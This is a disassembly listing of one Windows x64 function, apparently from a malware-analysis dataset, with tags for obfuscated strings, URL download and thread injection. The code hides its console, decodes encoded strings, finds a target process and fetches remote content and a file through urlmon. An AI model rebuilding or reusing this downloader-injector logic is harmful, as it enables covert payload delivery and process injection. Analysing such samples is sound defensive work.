Function at 0x140001280
Capabilities:
Contain obfuscated stackstrings
Create thread
Download url
Inject thread
Receive data
Set console window title

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x5a8
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x510], xmm7
movaps xmmword [rbp + 0x500], xmm6
mov qword [rbp + 0x4f8], 0xfffffffffffffffe
call fcn.14000b060
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rsi, rax
mov rcx, rax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80000
mov rcx, rsi
mov edx, 0xffffffec
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, rsi
xor edx, edx
mov r8b, 0xf7
mov r9d, 2
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movups xmm0, xmmword [0x140056704]
movaps xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [0x1400566f4]
movaps xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x20], 0x74
lea rcx, [rbp - 0x40]
mov edx, 0x11
call fcn.14000a690
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov rdi, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rdi
mov rbx, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, rax
mov dx, 9
call rbx
movups xmm0, xmmword [0x140056725]
movups xmmword [rbp - 0x31], xmm0
movups xmm0, xmmword [0x140056716]
movaps xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x40]
mov edx, 0x1f
call fcn.14000a5a0
lea rsi, [0x140074810]
mov rcx, rsi
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call rdi
mov rcx, rax
mov dx, 0xf
call rbx
movups xmm0, xmmword [0x140056735]
movaps xmmword [rbp - 0x40], xmm0
movabs rax, 0x64160c137d021700
mov qword [rbp - 0x31], rax
lea rcx, [rbp - 0x40]
mov edx, 0x17
call fcn.14000a5a0
mov rcx, rsi
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
movups xmm0, xmmword [0x14005675c]
movaps xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [0x14005674c]
movaps xmmword [rbp - 0x40], xmm0
mov word [rbp - 0x20], 0x5338
lea rcx, [rbp - 0x40]
mov edx, 0x22
call fcn.14000a5a0
mov rcx, rsi
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
xor ecx, ecx
call fcn.14000a6d0
lea rdx, [rax*2 + 2]
inc rax
mov rcx, 0xffffffffffffffff
cmovns rcx, rdx
call fcn.140031ac4
mov rsi, rax
mov rcx, rax
call fcn.14000a6d0
movups xmm0, xmmword [0x14005677e]
movaps xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [0x14005676e]
movaps xmmword [rbp - 0x40], xmm0
movabs rax, 0x53003f0054000e
mov qword [rbp - 0x22], rax
lea rcx, [rbp - 0x40]
mov edx, 0x13
call fcn.14000a690
mov rbx, rax
xorps xmm0, xmm0
movaps xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], 0
mov qword [rbp + 0x408], 0xf
mov dword [rbp + 0x4ac], 0
movups xmm0, xmmword [0x1400567de]
movups xmmword [rbp + 0x23a], xmm0
movups xmm0, xmmword [0x1400567d4]
movaps xmmword [rbp + 0x230], xmm0
movups xmm0, xmmword [0x1400567c4]
movaps xmmword [rbp + 0x220], xmm0
movups xmm0, xmmword [0x1400567b4]
movaps xmmword [rbp + 0x210], xmm0
movups xmm0, xmmword [0x1400567a4]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x140056794]
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x1f0]
mov edx, 0x2d
call fcn.14000a690
lea rdi, [rbp + 0x488]
mov rcx, rdi
mov rdx, rax
call fcn.140003bd0
mov rcx, rsi
call fcn.14003c40c
mov rcx, qword [rbp + 0x498]
mov rdx, qword [rbp + 0x4a0]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x140001558
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x488]
mov rdx, rax
mov r9, rsi
call fcn.140004950
jmp 0x140001589
lea r14, [rcx + rax]
mov qword [rbp + 0x498], r14
cmp rdx, 8
jb 0x140001570
mov rdi, qword [rbp + 0x488]
lea rcx, [rdi + rcx*2]
add rax, rax
mov rdx, rsi
mov r8, rax
call fcn.140052bd0
mov word [rdi + r14*2], 0
movabs rax, 0x1f00080008005b
mov qword [rbp + 0x1f0], rax
mov word [rbp + 0x1f8], 0x68
lea rcx, [rbp + 0x1f0]
mov edx, 5
call fcn.14000a690
mov rdi, rax
mov rcx, rax
call fcn.14003c40c
mov rcx, qword [rbp + 0x498]
mov rdx, qword [rbp + 0x4a0]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x1400015f1
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x488]
mov rdx, rax
mov r9, rdi
call fcn.140004950
jmp 0x14000162b
lea r14, [rcx + rax]
mov qword [rbp + 0x498], r14
cmp rdx, 8
jb 0x14000160b
mov r12, qword [rbp + 0x488]
jmp 0x140001612
lea r12, [rbp + 0x488]
lea rcx, [r12 + rcx*2]
add rax, rax
mov rdx, rdi
mov r8, rax
call fcn.140052bd0
mov word [r12 + r14*2], 0
movups xmm0, xmmword [0x14005682e]
movaps xmmword [rbp + 0x230], xmm0
movups xmm0, xmmword [0x14005681e]
movaps xmmword [rbp + 0x220], xmm0
movups xmm0, xmmword [0x14005680e]
movaps xmmword [rbp + 0x210], xmm0
movups xmm0, xmmword [0x1400567fe]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x1400567ee]
movaps xmmword [rbp + 0x1f0], xmm0
mov word [rbp + 0x240], 0x75
lea rcx, [rbp + 0x1f0]
mov edx, 0x29
call fcn.14000a690
lea rdi, [rbp + 0x418]
mov rcx, rdi
mov rdx, rax
call fcn.140003bd0
xor ecx, ecx
mov rdx, rbx
call qword [sym.imp.USER32.dll_FindWindowW]
mov r14, rax
test rax, rax
je 0x140001af1
lea rdx, [rbp + 0x4ac]
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 9
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov word [rbp + 0x4d0], 0x6c7f
lea rcx, [rbp + 0x4d0]
mov edx, 2
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov r14, rax
movups xmm6, xmmword [0x14005691d]
movups xmmword [rbp + 0x1ff], xmm6
movups xmm7, xmmword [0x14005690e]
movaps xmmword [rbp + 0x1f0], xmm7
lea rcx, [rbp + 0x1f0]
mov edx, 0x1f
call fcn.14000a5a0
mov rcx, r14
mov rdx, rax
call fcn.140003680
mov r14, rax
mov word [rbp + 0x440], 0x6c7f
lea rcx, [rbp + 0x440]
mov edx, 2
call fcn.14000a5a0
mov rcx, r14
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xe
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movabs rax, 0x212f08482e4e3755
mov qword [rbp + 0x1f0], rax
mov dword [rbp + 0x1f8], 0x4361723c
lea rcx, [rbp + 0x1f0]
mov edx, 0xc
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
lea rcx, [0x140074930]
mov rdx, rbx
call fcn.140003ce0
mov rbx, rax
mov dword [rbp + 0x1f0], 0x6c007f
lea rcx, [rbp + 0x1f0]
mov edx, 2
call fcn.14000a690
mov rcx, rbx
mov rdx, rax
call fcn.140003ce0
movabs rax, 0x3e2b19482e4e3755
mov qword [rbp + 0x1f0], rax
mov dword [rbp + 0x1f8], 0x2d2e212a
mov word [rbp + 0x1fc], 0x7371
mov byte [rbp + 0x1fe], 0x6f
lea rcx, [rbp + 0x1f0]
mov edx, 0xf
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rbx, rax
mov dword [rbp + 0x4d0], 0x4a524244
mov byte [rbp + 0x4d4], 0x68
lea rcx, [rbp + 0x4d0]
mov edx, 5
call fcn.14000a5a0
mov rcx, rbx
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
movabs rax, 0x253b0d482e4e3755
mov qword [rbp + 0x1f0], rax
mov dword [rbp + 0x1f8], 0x637b2c35
mov byte [rbp + 0x1fc], 0x4b
lea rcx, [rbp + 0x1f0]
mov edx, 0xd
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rbx, rax
mov dword [rbp + 0x4d0], 0x4b515e46
mov byte [rbp + 0x4d4], 0x68
lea rcx, [rbp + 0x4d0]
mov edx, 5
call fcn.14000a5a0
mov rcx, rbx
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
movabs rax, 0x29036f35593f4c7f
mov qword [rbp + 0x1f0], rax
mov dword [rbp + 0x1f8], 0x637b3d37
mov byte [rbp + 0x1fc], 0x4b
lea rcx, [rbp + 0x1f0]
mov edx, 0xd
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
lea rcx, [0x140074930]
mov rdx, rsi
call fcn.140003ce0
mov rcx, rax
call fcn.1400040e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 9
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmmword [rbp + 0x1ff], xmm6
movaps xmmword [rbp + 0x1f0], xmm7
lea rcx, [rbp + 0x1f0]
mov edx, 0x1f
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rbx, rax
mov word [rbp + 0x4d0], 0x6c7f
lea rcx, [rbp + 0x4d0]
mov edx, 2
call fcn.14000a5a0
mov rcx, rbx
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
xorps xmm0, xmm0
movaps xmmword [rbp + 0x440], xmm0
mov qword [rbp + 0x450], 0
mov qword [rbp + 0x458], 7
movups xmm6, xmmword [0x140056987]
movaps xmmword [rbp + 0x200], xmm6
movups xmm7, xmmword [0x140056977]
movaps xmmword [rbp + 0x1f0], xmm7
movabs r12, 0x6b2301044f163620
mov qword [rbp + 0x210], r12
lea rcx, [rbp + 0x1f0]
mov edx, 0x28
call fcn.14000a5a0
mov rcx, rax
call fcn.14003c710
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056938]
movups xmmword [rbp + 0x1fb], xmm0
movups xmm0, xmmword [0x14005692d]
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x1f0]
mov edx, 0x1b
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
lea rcx, [0x140074b00]
lea rbx, [rbp + 0x440]
mov rdx, rbx
call fcn.1400041b0
mov r8, qword [rbp + 0x450]
cmp qword [rbp + 0x458], 8
jb 0x140001ab8
mov rbx, qword [rbp + 0x440]
mov rax, qword [rbp + 0x428]
mov rcx, qword [rbp + 0x430]
mov rdx, rcx
sub rdx, rax
cmp rdx, r8
jae 0x140001c62
mov qword [rsp + 0x20], r8
lea rcx, [rbp + 0x418]
mov rdx, r8
mov r9, rbx
call fcn.140004950
jmp 0x140001c90
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xc
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov word [rbp + 0x4d0], 0x6c7f
lea rcx, [rbp + 0x4d0]
mov edx, 2
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rsi, rax
movups xmm0, xmmword [0x140056860]
movaps xmmword [rbp + 0x210], xmm0
movups xmm0, xmmword [0x140056850]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x140056840]
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x1f0]
mov edx, 0x30
call fcn.14000a5a0
mov rcx, rsi
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xc
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140056870]
lea rsi, [rbp + 0x1f0]
mov r8d, 0x9e
mov rcx, rsi
call fcn.140052bd0
mov edx, 0x9e
mov rcx, rsi
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rsi, rax
mov word [rbp + 0x4d0], 0x6c7f
lea rcx, [rbp + 0x4d0]
mov edx, 2
call fcn.14000a5a0
mov rcx, rsi
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov dword [rbp + 0x1f0], 0x110d05
mov word [rbp + 0x1f4], 0x4f0d
lea rcx, [rbp + 0x1f0]
mov edx, 6
call fcn.14000a5a0
mov rcx, rax
call fcn.14003c710
mov esi, 1
mov rax, qword [rbp + 0x430]
cmp rax, 8
jb 0x14000255b
jmp 0x14000306b
lea r14, [rax + r8]
mov qword [rbp + 0x428], r14
cmp rcx, 8
jb 0x140001c7a
mov rdi, qword [rbp + 0x418]
lea rcx, [rdi + rax*2]
add r8, r8
mov rdx, rbx
call fcn.140052bd0
mov word [rdi + r14*2], 0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x460], xmm0
mov qword [rbp + 0x470], 0
mov qword [rbp + 0x478], 0xf
cmp qword [rbp + 0x430], 8
jb 0x140001cc3
mov rdx, qword [rbp + 0x418]
jmp 0x140001cca
lea rdx, [rbp + 0x418]
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x438]
xor ecx, ecx
xor r9d, r9d
call sub.urlmon.dll_URLOpenBlockingStreamW
test eax, eax
je 0x140001d1a
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmmword [rbp + 0x1d0], xmm0
mov rdi, qword [rbp + 0x400]
cmp qword [rbp + 0x408], 0x10
jb 0x140001e37
mov rbx, qword [rbp + 0x3f0]
jmp 0x140001e3e
lea rdi, [rbp + 0x1f0]
lea rbx, [rbp + 0x4b0]
lea r15, [rbp + 0x460]
jmp 0x140001d50
add rcx, r14
mov rdx, rdi
call fcn.140052bd0
mov byte [r14 + r13], 0
mov rcx, qword [rbp + 0x438]
mov rax, qword [rcx]
mov rdx, rdi
mov r8d, 0x1f4
mov r9, rbx
call qword [rax + 0x18]
test eax, eax
jne 0x140001dd4
mov r8d, dword [rbp + 0x4b0]
test r8d, r8d
je 0x140001dd4
mov rcx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x478]
mov rdx, rax
sub rdx, rcx
cmp rdx, r8
jae 0x140001db0
mov qword [rsp + 0x20], r8
mov rcx, r15
mov rdx, r8
mov r9, rdi
call fcn.140004b40
jmp 0x140001d50
lea r13, [rcx + r8]
mov qword [rbp + 0x470], r13
mov r14, r15
cmp rax, 0x10
jb 0x140001d40
mov r14, qword [rbp + 0x460]
jmp 0x140001d40
mov rcx, qword [rbp + 0x438]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov dword [rbp + 0x4d0], 0x3a282d23
mov word [rbp + 0x4d4], 0x4f2c
lea rcx, [rbp + 0x4d0]
mov edx, 6
call fcn.14000a5a0
mov rdi, rax
mov rcx, rax
call fcn.14003bee0
cmp qword [rbp + 0x470], rax
jne 0x140002455
cmp qword [rbp + 0x478], 0x10
jb 0x14000243b
mov rcx, qword [rbp + 0x460]
jmp 0x140002442
lea rbx, [rbp + 0x3f0]
test rdi, rdi
js 0x140003169
cmp rdi, 0xf
ja 0x140001e6b
mov qword [rbp + 0x1e0], rdi
mov qword [rbp + 0x1e8], 0xf
movups xmm0, xmmword [rbx]
movaps xmmword [rbp + 0x1d0], xmm0
jmp 0x140001ed2
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov r14d, 0x16
cmovae r14, rax
cmp r14, 0xfff
jb 0x140001ea3
lea rcx, [r14 + 0x28]
call fcn.140031acc
mov rcx, rax
add rcx, 0x27
and rcx, 0xffffffffffffffe0
mov qword [rcx - 8], rax
jmp 0x140001eaf
lea rcx, [r14 + 1]
call fcn.140031acc
mov rcx, rax
mov qword [rbp + 0x1d0], rcx
mov qword [rbp + 0x1e0], rdi
mov qword [rbp + 0x1e8], r14
inc rdi
mov rdx, rbx
mov r8, rdi
call fcn.140052bd0
mov ecx, dword [rbp + 0x4ac]
lea rdx, [rbp + 0x1d0]
call section..text
test al, al
je 0x140001f19
mov dword [rbp + 0x1f0], 0x110d05
mov word [rbp + 0x1f4], 0x4f0d
lea rcx, [rbp + 0x1f0]
mov edx, 6
call fcn.14000a5a0
mov rcx, rax
call fcn.14003c710
jmp 0x140002523
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xb
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x1400569b8]
movups xmmword [rbp + 0x209], xmm0
movups xmm0, xmmword [0x1400569af]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x14005699f]
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x1f0]
mov edx, 0x29
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
movups xmm6, xmmword [0x1400569c8]
movaps xmmword [rbp + 0x4b0], xmm6
movabs rbx, 0x7537210c1000001f
mov qword [rbp + 0x4bd], rbx
lea rcx, [rbp + 0x4b0]
mov edx, 0x15
call fcn.14000a5a0
mov rdi, rax
mov rcx, rax
call fcn.14003bee0
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], rax
call fcn.140035a80
lea rdi, [rbp + 0x4d0]
lea r8, [rbp + 0x1f0]
mov rcx, rdi
mov edx, eax
call fcn.140008a50
cmp qword [rbp + 0x4e8], 8
jb 0x140001ffa
mov rdi, qword [rbp + 0x4d0]
lea rdx, [rbp + 0x1f0]
mov rcx, rdi
mov r8d, 3
mov r9d, 0xffffffff
call fcn.140035c34
cmp eax, 0x34
jg 0x140002060
lea ecx, [rax - 2]
cmp ecx, 2
jb 0x14000206e
test eax, eax
jne 0x14000319f
mov eax, dword [rbp + 0x200]
test eax, 0x400
je 0x14000281f
mov ecx, dword [rbp + 0x204]
cmp ecx, 0xa000000c
je 0x14000315f
cmp ecx, 0xa0000003
jne 0x14000281f
mov edi, 0xa
jmp 0x140002073
cmp eax, 0x35
je 0x14000206e
cmp eax, 0x7b
jne 0x14000319f
mov edi, 1
mov rax, qword [rbp + 0x4e8]
cmp rax, 8
jb 0x1400020bf
mov rcx, qword [rbp + 0x4d0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x1400020ba
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000319a
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140031abc
cmp rdi, 3
je 0x1400022ce
movaps xmmword [rbp + 0x4d0], xmm6
mov qword [rbp + 0x4dd], rbx
lea rcx, [rbp + 0x4d0]
mov edx, 0x15
call fcn.14000a5a0
mov rdi, rax
mov rcx, rax
call fcn.14003bee0
mov qword [rbp + 0x4b0], rdi
mov qword [rbp + 0x4b8], rax
call fcn.140035a80
lea rdi, [rbp + 0x1f0]
lea r8, [rbp + 0x4b0]
mov rcx, rdi
mov edx, eax
call fcn.140008a50
cmp qword [rbp + 0x208], 8
jb 0x14000212f
mov rdi, qword [rbp + 0x1f0]
mov rcx, rdi
call fcn.140035bbc
mov rdx, rax
shr rdx, 0x20
jne 0x140003187
mov rdi, rax
mov rax, qword [rbp + 0x208]
cmp rax, 8
jb 0x140002193
mov rcx, qword [rbp + 0x1f0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x14000218e
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400031b9
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140031abc
test dil, 1
jne 0x1400022ce
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xc
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056a0d]
movaps xmmword [rbp + 0x220], xmm0
movups xmm0, xmmword [0x1400569fd]
movaps xmmword [rbp + 0x210], xmm0
movups xmm0, xmmword [0x1400569ed]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x1400569dd]
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x1f0]
mov edx, 0x40
call fcn.14000a5a0
lea rcx, [0x1400746e0]
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056a5d]
movaps xmmword [rbp + 0x230], xmm0
movups xmm0, xmmword [0x140056a4d]
movaps xmmword [rbp + 0x220], xmm0
movups xmm0, xmmword [0x140056a3d]
movaps xmmword [rbp + 0x210], xmm0
movups xmm0, xmmword [0x140056a2d]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x140056a1d]
movaps xmmword [rbp + 0x1f0], xmm0
movabs rax, 0x4e6ed8a3e4bdcbbb
mov qword [rbp + 0x23f], rax
lea rcx, [rbp + 0x1f0]
mov edx, 0x57
call fcn.14000a5a0
lea rcx, [0x1400746e0]
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, 1
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
jmp 0x140002fc1
movups xmm0, xmmword [0x140056a8e]
movups xmmword [rbp + 0x20a], xmm0
movups xmm0, xmmword [str.80k]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [str.6V8_]
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x1f0]
mov edx, 0x15
call fcn.14000a690
lea rdi, [rbp + 0x4d0]
mov rcx, rdi
mov rdx, rax
call fcn.140003bd0
mov rcx, rsi
call fcn.14003c40c
mov rcx, qword [rbp + 0x4e0]
mov rdx, qword [rbp + 0x4e8]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x140002355
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x4d0]
mov rdx, rax
mov r9, rsi
call fcn.140004950
jmp 0x140002385
lea rbx, [rcx + rax]
mov qword [rbp + 0x4e0], rbx
cmp rdx, 8
jb 0x14000236d
mov rdi, qword [rbp + 0x4d0]
lea rcx, [rdi + rcx*2]
add rax, rax
mov rdx, rsi
mov r8, rax
call fcn.140052bd0
mov word [rdi + rbx*2], 0
movabs rax, 0x1f00080008005b
mov qword [rbp + 0x1f0], rax
mov word [rbp + 0x1f8], 0x68
lea rcx, [rbp + 0x1f0]
mov edx, 5
call fcn.14000a690
mov rsi, rax
mov rcx, rax
call fcn.14003c40c
mov rcx, qword [rbp + 0x4e0]
mov rdx, qword [rbp + 0x4e8]
mov r8, rdx
sub r8, rcx
cmp r8, rax
jae 0x14000241a
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x4d0]
mov rdx, rax
mov r9, rsi
call fcn.140004950
cmp qword [rbp + 0x4e8], 8
jb 0x14000260b
mov r8, qword [rbp + 0x4d0]
cmp qword [rbp + 0x4a0], 8
jae 0x140002620
lea rdx, [rbp + 0x488]
jmp 0x140002627
lea rdi, [rcx + rax]
mov qword [rbp + 0x4e0], rdi
cmp rdx, 8
jb 0x1400025de
mov rbx, qword [rbp + 0x4d0]
jmp 0x1400025e5
lea rcx, [rbp + 0x460]
mov rdx, rdi
mov r8, rax
call fcn.140052ad0
test eax, eax
je 0x140002582
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xc
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056967]
movups xmmword [rbp + 0x4dd], xmm0
movups xmm0, xmmword [0x14005695a]
movaps xmmword [rbp + 0x4d0], xmm0
lea rcx, [rbp + 0x4d0]
mov edx, 0x1d
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movaps xmmword [rbp + 0x4e0], xmm6
movaps xmmword [rbp + 0x4d0], xmm7
mov qword [rbp + 0x4f0], r12
lea rcx, [rbp + 0x4d0]
mov edx, 0x28
call fcn.14000a5a0
mov rcx, rax
call fcn.14003c710
mov dword [rbp + 0x4d0], 0x110d05
mov word [rbp + 0x4d4], 0x4f0d
lea rcx, [rbp + 0x4d0]
mov edx, 6
call fcn.14000a5a0
mov rcx, rax
call fcn.14003c710
mov esi, 1
mov rax, qword [rbp + 0x478]
cmp rax, 0x10
jae 0x140002fd2
mov rax, qword [rbp + 0x458]
cmp rax, 8
jae 0x14000301b
mov rax, qword [rbp + 0x430]
cmp rax, 8
jae 0x14000306b
mov rax, qword [rbp + 0x4a0]
cmp rax, 8
jae 0x1400030bb
mov rax, qword [rbp + 0x408]
cmp rax, 0x10
jb 0x14000313b
jmp 0x140003107
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xa
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056948]
movaps xmmword [rbp + 0x4d0], xmm0
mov word [rbp + 0x4e0], 0x697e
lea rcx, [rbp + 0x4d0]
mov edx, 0x12
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
jmp 0x140001ce8
lea rbx, [rbp + 0x4d0]
lea rcx, [rbx + rcx*2]
add rax, rax
mov rdx, rsi
mov r8, rax
call fcn.140052bd0
mov word [rbx + rdi*2], 0
cmp qword [rbp + 0x4e8], 8
jae 0x1400023f9
lea r8, [rbp + 0x4d0]
cmp qword [rbp + 0x4a0], 8
jb 0x14000240e
mov rdx, qword [rbp + 0x488]
mov qword [rsp + 0x20], 0
xor ecx, ecx
xor r9d, r9d
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
je 0x1400027bf
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xc
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movups xmm0, xmmword [0x140056aba]
movups xmmword [rbp + 0x20c], xmm0
movups xmm0, xmmword [0x140056aae]
movaps xmmword [rbp + 0x200], xmm0
movups xmm0, xmmword [0x140056a9e]
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x1f0]
mov edx, 0x2c
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rsi, rax
mov word [rbp + 0x4b0], 0x6c7f
lea rcx, [rbp + 0x4b0]
mov edx, 2
call fcn.14000a5a0
mov rcx, rsi
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov dx, 0xf
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, [0x140056aca]
lea rsi, [rbp + 0x1f0]
mov r8d, 0x158
mov rcx, rsi
call fcn.140052bd0
mov edx, 0x158
mov rcx, rsi
call fcn.14000a5a0
lea rcx, [0x140074810]
mov rdx, rax
call fcn.140003680
mov rsi, rax
mov word [rbp + 0x4b0], 0x6c7f
lea rcx, [rbp + 0x4b0]
mov edx, 2
call fcn.14000a5a0
mov rcx, rsi
mov rdx, rax
call fcn.140003680
mov rcx, rax
call fcn.140003a70
mov esi, 1
mov rax, qword [rbp + 0x4e8]
cmp rax, 8
jb 0x140002fc1
mov rcx, qword [rbp + 0x4d0]
lea rdx, [rax*2 + 2]
cmp rdx, 0x1000
jb 0x1400027a4
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x1400031b4
add rax, rax
add rax, 0x29
mov rdx, rax
mov rcx, r8
call fcn.140031abc
